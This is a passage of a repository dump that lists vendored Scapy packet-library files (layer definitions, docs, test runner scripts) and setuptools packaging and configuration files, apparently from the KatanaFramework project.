20 | for _l in conf.load_layers:
21 | log_loading.debug("Loading layer %s" % _l)
22 | try:
23 | _import_star(_l)
24 | except Exception,e:
25 | log.warning("can't import layer %s: %s" % (_l,e))
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/layers/gprs.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | GPRS (General Packet Radio Service) for mobile data communication.
8 | """
9 |
10 | from scapy.fields import *
11 | from scapy.packet import *
12 | from scapy.layers.inet import IP
13 |
14 | class GPRS(Packet):
15 | name = "GPRSdummy"
16 | fields_desc = [
17 | StrStopField("dummy","","\x65\x00\x00",1)
18 | ]
19 |
20 |
21 | bind_layers( GPRS, IP, )
22 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/modules/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of extension modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/build/lib.linux-i686-2.7/scapy/tools/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Additional tools to be run separately
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy.1.gz:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy.1.gz
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/README:
--------------------------------------------------------------------------------
1 | This folder includes source files (text and graphics) for Scapy's documentation,
2 | which is automatically built using Sphinx
3 |
4 | The *.rst files are written as reStructuredText and should be quite readable
5 | in your favourite text editor without any further formatting.
6 |
7 | To generate much nicer, searchable HTML docs, install Sphinx, open a command
8 | line, change to the directory where this README is placed, and type the
9 | following command:
10 |
11 | $ make html
12 |
13 | To generate a single PDF file (useful for printing) you need a working
14 | LaTeX installation (e.g. ).
15 | The following commands produce the file Scapy.pdf (>100 pages):
16 |
17 | $ make latex
18 | $ cd _build/latex
19 | $ make all-pdf
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/_static/_dummy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/_static/_dummy
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/_templates/_dummy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/_templates/_dummy
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/backmatter.rst:
--------------------------------------------------------------------------------
1 |
2 | *********
3 | Credits
4 | *********
5 |
6 | - Philippe Biondi is Scapy's author. He has also written most of the documentation.
7 | - Fred Raynal wrote the chapter on building and dissecting packets.
8 | - Sebastien Martini added some details in "Handling default values: automatic computation".
9 | - Peter Kacherginsky contributed several tutorial sections, one-liners and recipes.
10 | - Dirk Loss integrated and restructured the existing docs to make this book.
11 | He has also written the installation instructions for Windows.
12 |
13 |
14 |
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/ATMT_HelloWorld.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/ATMT_HelloWorld.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/ATMT_TFTP_read.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/ATMT_TFTP_read.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/command-ls.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/command-ls.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/default-values-ip.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/default-values-ip.pdf
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/default-values-ip.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/default-values-ip.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/fieldsmanagement.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/fieldsmanagement.pdf
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/fieldsmanagement.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/fieldsmanagement.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/graph_traceroute.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/graph_traceroute.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/ipid.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/ipid.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/isakmp_dump.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/isakmp_dump.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/scapy-concept.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/scapy-concept.pdf
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/scapy-concept.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/scapy-concept.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/scapy-win-screenshot1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/scapy-win-screenshot1.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/scapy-win-screenshot2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/scapy-win-screenshot2.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/testing-taxonomy.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/testing-taxonomy.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/trace3d_1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/trace3d_1.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/graphics/trace3d_2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/scapy/doc/scapy/graphics/trace3d_2.png
--------------------------------------------------------------------------------
/lib/scapy/doc/scapy/index.rst:
--------------------------------------------------------------------------------
1 | .. Scapy documentation master file, created by sphinx-quickstart on Mon Sep 8 19:37:39 2008.
2 | You can adapt this file completely to your liking, but it should at least
3 | contain the root `toctree` directive.
4 |
5 | Welcome to Scapy's documentation!
6 | =================================
7 |
8 | :Release: |version|
9 | :Date: |today|
10 |
11 | This document is under a `Creative Commons Attribution - Non-Commercial
12 | - Share Alike 2.5 `_ license.
13 |
14 | .. toctree::
15 | :maxdepth: 2
16 |
17 | introduction
18 | installation
19 |
20 | usage
21 | advanced_usage
22 | extending
23 | build_dissect
24 |
25 | troubleshooting
26 | development
27 | backmatter
28 |
29 |
--------------------------------------------------------------------------------
/lib/scapy/run_scapy:
--------------------------------------------------------------------------------
1 | #! /bin/sh
2 | DIR=$(dirname $0)
3 | PYTHONPATH=$DIR exec python -m scapy.__init__
4 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Scapy: create, send, sniff, dissect and manipulate network packets.
8 |
9 | Usable either from an interactive console or as a Python library.
10 | http://www.secdev.org/projects/scapy
11 | """
12 |
13 | if __name__ == "__main__":
14 | from scapy.main import interact
15 | interact()
16 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/arch/bsd.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Support for BSD-like operating systems such as FreeBSD, OpenBSD and Mac OS X.
8 | """
9 |
10 | LOOPBACK_NAME="lo0"
11 |
12 | from unix import *
13 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/arch/solaris.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Customization for the Solaris operation system.
8 | """
9 |
10 | # IPPROTO_GRE is missing on Solaris
11 | import socket
12 | socket.IPPROTO_GRE = 47
13 |
14 | LOOPBACK_NAME="lo0"
15 |
16 | from unix import *
17 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/asn1/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package holding ASN.1 related modules.
8 | """
9 |
10 | # We do not import mib.py because it is more bound to scapy and
11 | # less prone to be used in a standalone fashion
12 | __all__ = ["asn1","ber"]
13 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/asn1packet.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Packet holding data in Abstract Syntax Notation (ASN.1).
8 | """
9 |
10 | from packet import *
11 |
12 | class ASN1_Packet(Packet):
13 | ASN1_root = None
14 | ASN1_codec = None
15 | def init_fields(self):
16 | flist = self.ASN1_root.get_fields_list()
17 | self.do_init_fields(flist)
18 | self.fields_desc = flist
19 | def self_build(self):
20 | if self.raw_packet_cache is not None:
21 | return self.raw_packet_cache
22 | return self.ASN1_root.build(self)
23 | def do_dissect(self, x):
24 | return self.ASN1_root.dissect(self, x)
25 |
26 |
27 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/contrib/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of contrib modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/contrib/etherip.py:
--------------------------------------------------------------------------------
1 |
2 | # http://trac.secdev.org/scapy/ticket/297
3 |
4 | # scapy.contrib.description = EtherIP
5 | # scapy.contrib.status = loads
6 |
7 | from scapy.fields import BitField
8 | from scapy.packet import Packet, bind_layers
9 | from scapy.layers.inet import IP
10 | from scapy.layers.l2 import Ether
11 |
12 | class EtherIP(Packet):
13 | name = "EtherIP / RFC 3378"
14 | fields_desc = [ BitField("version", 3, 4),
15 | BitField("reserved", 0, 12)]
16 |
17 | bind_layers( IP, EtherIP, frag=0, proto=0x61)
18 | bind_layers( EtherIP, Ether)
19 |
20 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/contrib/mpls.py:
--------------------------------------------------------------------------------
1 | # http://trac.secdev.org/scapy/ticket/31
2 |
3 | # scapy.contrib.description = MPLS
4 | # scapy.contrib.status = loads
5 |
6 | from scapy.packet import Packet,bind_layers
7 | from scapy.fields import BitField,ByteField
8 | from scapy.layers.l2 import Ether
9 |
10 | class MPLS(Packet):
11 | name = "MPLS"
12 | fields_desc = [ BitField("label", 3, 20),
13 | BitField("cos", 0, 3),
14 | BitField("s", 1, 1),
15 | ByteField("ttl", 0) ]
16 |
17 | bind_layers(Ether, MPLS, type=0x8847)
18 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/crypto/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Arnaud Ebalard
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Tools for handling with digital certificates.
8 | """
9 |
10 | try:
11 | import Crypto
12 | except ImportError:
13 | import logging
14 | log_loading = logging.getLogger("scapy.loading")
15 | log_loading.info("Can't import python Crypto lib. Disabled certificate manipulation tools")
16 | else:
17 | from scapy.crypto.cert import *
18 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/layers/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Layer package.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/layers/all.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | All layers. Configurable with conf.load_layers.
8 | """
9 |
10 | from scapy.config import conf
11 | from scapy.error import log_loading
12 | import logging
13 | log = logging.getLogger("scapy.loading")
14 |
15 | def _import_star(m):
16 | mod = __import__(m, globals(), locals())
17 | for k,v in mod.__dict__.iteritems():
18 | globals()[k] = v
19 |
20 | for _l in conf.load_layers:
21 | log_loading.debug("Loading layer %s" % _l)
22 | try:
23 | _import_star(_l)
24 | except Exception,e:
25 | log.warning("can't import layer %s: %s" % (_l,e))
26 |
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/layers/gprs.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | GPRS (General Packet Radio Service) for mobile data communication.
8 | """
9 |
10 | from scapy.fields import *
11 | from scapy.packet import *
12 | from scapy.layers.inet import IP
13 |
14 | class GPRS(Packet):
15 | name = "GPRSdummy"
16 | fields_desc = [
17 | StrStopField("dummy","","\x65\x00\x00",1)
18 | ]
19 |
20 |
21 | bind_layers( GPRS, IP, )
22 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/modules/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Package of extension modules that have to be loaded explicitly.
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/scapy/tools/__init__.py:
--------------------------------------------------------------------------------
1 | ## This file is part of Scapy
2 | ## See http://www.secdev.org/projects/scapy for more informations
3 | ## Copyright (C) Philippe Biondi
4 | ## This program is published under a GPLv2 license
5 |
6 | """
7 | Additional tools to be run separately
8 | """
9 |
--------------------------------------------------------------------------------
/lib/scapy/test/import_tester:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | cd "$(dirname $0)/.."
3 | find scapy -name '*.py' | sed -e 's#/#.#g' -e 's/\(\.__init__\)\?\.py$//' | while read a; do echo "######### $a"; python -c "import $a"; done
4 |
--------------------------------------------------------------------------------
/lib/scapy/test/run_tests:
--------------------------------------------------------------------------------
1 | #! /bin/bash
2 | DIR=$(dirname $0)/..
3 | if [ "$*" == "" ]
4 | then
5 | PYTHONPATH=$DIR exec python ${DIR}/scapy/tools/UTscapy.py -t regression.uts -f html -o /tmp/scapy_regression_test_$(date +%Y%M%d-%H%H%S).html
6 | else
7 | PYTHONPATH=$DIR exec python ${DIR}/scapy/tools/UTscapy.py "$@"
8 | fi
9 |
--------------------------------------------------------------------------------
/lib/scapy/test/run_tests.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | set MYDIR=%cd%\..
3 | set PYTHONPATH=%MYDIR%
4 | if [%1]==[] (
5 | python %MYDIR%\scapy\tools\UTscapy.py -t regression.uts -f html -o scapy_regression_test_%DATE%.html
6 | ) else (
7 | python %MYDIR%\scapy\tools\UTscapy.py %1 %2 %3 %4 %5 %6 %7 %8 %9
8 | )
9 |
--------------------------------------------------------------------------------
/lib/setuptools/.gitignore:
--------------------------------------------------------------------------------
1 | # syntax: glob
2 | bin
3 | build
4 | dist
5 | include
6 | lib
7 | distribute.egg-info
8 | setuptools.egg-info
9 | .coverage
10 | .tox
11 | *.egg
12 | *.py[cod]
13 | *.swp
14 | *~
15 | .hg*
16 |
--------------------------------------------------------------------------------
/lib/setuptools/LICENSE:
--------------------------------------------------------------------------------
1 | Copyright (C) 2016 Jason R Coombs
2 |
3 | Permission is hereby granted, free of charge, to any person obtaining a copy of
4 | this software and associated documentation files (the "Software"), to deal in
5 | the Software without restriction, including without limitation the rights to
6 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
7 | of the Software, and to permit persons to whom the Software is furnished to do
8 | so, subject to the following conditions:
9 |
10 | The above copyright notice and this permission notice shall be included in all
11 | copies or substantial portions of the Software.
12 |
13 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19 | SOFTWARE.
20 |
--------------------------------------------------------------------------------
/lib/setuptools/MANIFEST.in:
--------------------------------------------------------------------------------
1 | recursive-include setuptools *.py *.exe *.xml
2 | recursive-include tests *.py
3 | recursive-include setuptools/tests *.html
4 | recursive-include docs *.py *.txt *.conf *.css *.css_t Makefile indexsidebar.html
5 | recursive-include setuptools/_vendor *
6 | recursive-include pkg_resources *.py *.txt
7 | include *.py
8 | include *.rst
9 | include MANIFEST.in
10 | include LICENSE
11 | include launcher.c
12 | include msvc-build-launcher.cmd
13 | include pytest.ini
14 |
--------------------------------------------------------------------------------
/lib/setuptools/appveyor.yml:
--------------------------------------------------------------------------------
1 | environment:
2 |
3 | matrix:
4 | - PYTHON: "C:\\Python35-x64"
5 | - PYTHON: "C:\\Python27-x64"
6 |
7 | install:
8 | # symlink python from a directory with a space
9 | - "mklink /d \"C:\\Program Files\\Python\" %PYTHON%"
10 | - "SET PYTHON=\"C:\\Program Files\\Python\""
11 | - "SET PATH=%PYTHON%;%PYTHON%\\Scripts;%PATH%"
12 |
13 | build: off
14 |
15 | test_script:
16 | - "python bootstrap.py"
17 | - "python setup.py test --addopts='-rsx'"
18 |
--------------------------------------------------------------------------------
/lib/setuptools/conftest.py:
--------------------------------------------------------------------------------
1 | pytest_plugins = 'setuptools.tests.fixtures'
2 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/_templates/indexsidebar.html:
--------------------------------------------------------------------------------
1 | Download
2 |
3 | Current version: {{ version }}
4 | Get Setuptools from the Python Package Index
5 |
6 |
Questions? Suggestions? Contributions?
7 |
8 | Visit the Setuptools project page
9 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/_theme/nature/theme.conf:
--------------------------------------------------------------------------------
1 | [theme]
2 | inherit = basic
3 | stylesheet = nature.css
4 | pygments_style = tango
5 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/history.txt:
--------------------------------------------------------------------------------
1 | :tocdepth: 2
2 |
3 | .. _changes:
4 |
5 | History
6 | *******
7 |
8 | .. include:: ../CHANGES (links).rst
9 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/index.txt:
--------------------------------------------------------------------------------
1 | Welcome to Setuptools' documentation!
2 | =====================================
3 |
4 | Setuptools is a fully-featured, actively-maintained, and stable library
5 | designed to facilitate packaging Python projects, where packaging includes:
6 |
7 | - Python package and module definitions
8 | - Distribution package metadata
9 | - Test hooks
10 | - Project installation
11 | - Platform-specific details
12 | - Python 3 support
13 |
14 | Documentation content:
15 |
16 | .. toctree::
17 | :maxdepth: 2
18 |
19 | history
20 | roadmap
21 | python3
22 | setuptools
23 | easy_install
24 | pkg_resources
25 | development
26 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/requirements.txt:
--------------------------------------------------------------------------------
1 | rst.linker>=1.6.1
2 |
--------------------------------------------------------------------------------
/lib/setuptools/docs/roadmap.txt:
--------------------------------------------------------------------------------
1 | =======
2 | Roadmap
3 | =======
4 |
5 | Setuptools is primarily in maintenance mode. The project attempts to address
6 | user issues, concerns, and feature requests in a timely fashion.
7 |
--------------------------------------------------------------------------------
/lib/setuptools/easy_install.py:
--------------------------------------------------------------------------------
1 | """Run the EasyInstall command"""
2 |
3 | if __name__ == '__main__':
4 | from setuptools.command.easy_install import main
5 | main()
6 |
--------------------------------------------------------------------------------
/lib/setuptools/pavement.py:
--------------------------------------------------------------------------------
1 | import re
2 |
3 | from paver.easy import task, path as Path
4 | import pip
5 |
6 |
7 | def remove_all(paths):
8 | for path in paths:
9 | path.rmtree() if path.isdir() else path.remove()
10 |
11 |
12 | @task
13 | def update_vendored():
14 | vendor = Path('pkg_resources/_vendor')
15 | # pip uninstall doesn't support -t, so do it manually
16 | remove_all(vendor.glob('packaging*'))
17 | remove_all(vendor.glob('six*'))
18 | remove_all(vendor.glob('pyparsing*'))
19 | remove_all(vendor.glob('appdirs*'))
20 | install_args = [
21 | 'install',
22 | '-r', str(vendor / 'vendored.txt'),
23 | '-t', str(vendor),
24 | ]
25 | pip.main(install_args)
26 | packaging = vendor / 'packaging'
27 | for file in packaging.glob('*.py'):
28 | text = file.text()
29 | text = re.sub(r' (pyparsing|six)', r' pkg_resources.extern.\1', text)
30 | file.write_text(text)
31 | remove_all(vendor.glob('*.dist-info'))
32 | remove_all(vendor.glob('*.egg-info'))
33 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/pkg_resources/_vendor/__init__.py
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/packaging/__about__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | __all__ = [
7 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
8 | "__email__", "__license__", "__copyright__",
9 | ]
10 |
11 | __title__ = "packaging"
12 | __summary__ = "Core utilities for Python packages"
13 | __uri__ = "https://github.com/pypa/packaging"
14 |
15 | __version__ = "16.7"
16 |
17 | __author__ = "Donald Stufft and individual contributors"
18 | __email__ = "donald@stufft.io"
19 |
20 | __license__ = "BSD or Apache License, Version 2.0"
21 | __copyright__ = "Copyright 2014-2016 %s" % __author__
22 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/packaging/__init__.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | from .__about__ import (
7 | __author__, __copyright__, __email__, __license__, __summary__, __title__,
8 | __uri__, __version__
9 | )
10 |
11 | __all__ = [
12 | "__title__", "__summary__", "__uri__", "__version__", "__author__",
13 | "__email__", "__license__", "__copyright__",
14 | ]
15 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/packaging/_compat.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import sys
7 |
8 |
9 | PY2 = sys.version_info[0] == 2
10 | PY3 = sys.version_info[0] == 3
11 |
12 | # flake8: noqa
13 |
14 | if PY3:
15 | string_types = str,
16 | else:
17 | string_types = basestring,
18 |
19 |
20 | def with_metaclass(meta, *bases):
21 | """
22 | Create a base class with a metaclass.
23 | """
24 | # This requires a bit of explanation: the basic idea is to make a dummy
25 | # metaclass for one level of class instantiation that replaces itself with
26 | # the actual metaclass.
27 | class metaclass(meta):
28 | def __new__(cls, name, this_bases, d):
29 | return meta(name, bases, d)
30 | return type.__new__(metaclass, 'temporary_class', (), {})
31 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/packaging/utils.py:
--------------------------------------------------------------------------------
1 | # This file is dual licensed under the terms of the Apache License, Version
2 | # 2.0, and the BSD License. See the LICENSE file in the root of this repository
3 | # for complete details.
4 | from __future__ import absolute_import, division, print_function
5 |
6 | import re
7 |
8 |
9 | _canonicalize_regex = re.compile(r"[-_.]+")
10 |
11 |
12 | def canonicalize_name(name):
13 | # This is taken from PEP 503.
14 | return _canonicalize_regex.sub("-", name).lower()
15 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/_vendor/vendored.txt:
--------------------------------------------------------------------------------
1 | packaging==16.7
2 | pyparsing==2.1.9
3 | six==1.10.0
4 | appdirs==1.4.0
5 |
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/tests/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/pkg_resources/tests/__init__.py
--------------------------------------------------------------------------------
/lib/setuptools/pkg_resources/tests/test_markers.py:
--------------------------------------------------------------------------------
1 | try:
2 | import unittest.mock as mock
3 | except ImportError:
4 | import mock
5 |
6 | from pkg_resources import evaluate_marker
7 |
8 |
9 | @mock.patch('platform.python_version', return_value='2.7.10')
10 | def test_ordering(python_version_mock):
11 | assert evaluate_marker("python_full_version > '2.7.3'") is True
12 |
--------------------------------------------------------------------------------
/lib/setuptools/pytest.ini:
--------------------------------------------------------------------------------
1 | [pytest]
2 | addopts=--doctest-modules --ignore release.py --ignore setuptools/lib2to3_ex.py --ignore tests/manual_test.py --ignore tests/shlib_test --doctest-glob=pkg_resources/api_tests.txt --ignore scripts/upload-old-releases-as-zip.py --ignore pavement.py
3 | norecursedirs=dist build *.egg setuptools/extern pkg_resources/extern .*
4 | flake8-ignore =
5 | setuptools/site-patch.py F821
6 | setuptools/py*compat.py F811
7 |
--------------------------------------------------------------------------------
/lib/setuptools/setup.cfg:
--------------------------------------------------------------------------------
1 | [bumpversion]
2 | current_version = 27.3.0
3 | commit = True
4 | tag = True
5 |
6 | [egg_info]
7 | tag_build = .post
8 | tag_date = 1
9 |
10 | [aliases]
11 | clean_egg_info = egg_info -RDb ''
12 | release = clean_egg_info sdist bdist_wheel
13 | source = register sdist binary
14 | binary = bdist_egg upload --show-response
15 | test = pytest
16 |
17 | [upload]
18 | repository = https://upload.pypi.org/legacy/
19 |
20 | [sdist]
21 | formats = gztar zip
22 |
23 | [wheel]
24 | universal = 1
25 |
26 | [bumpversion:file:setup.py]
27 |
28 |
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/cli-32.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/cli-32.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/cli-64.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/PowerScript/KatanaFramework/0f6ad90a88de865d58ec26941cb4460501e75496/lib/setuptools/setuptools/cli-64.exe
--------------------------------------------------------------------------------
/lib/setuptools/setuptools/cli.exe:
--------------------------------------------------------------------------------
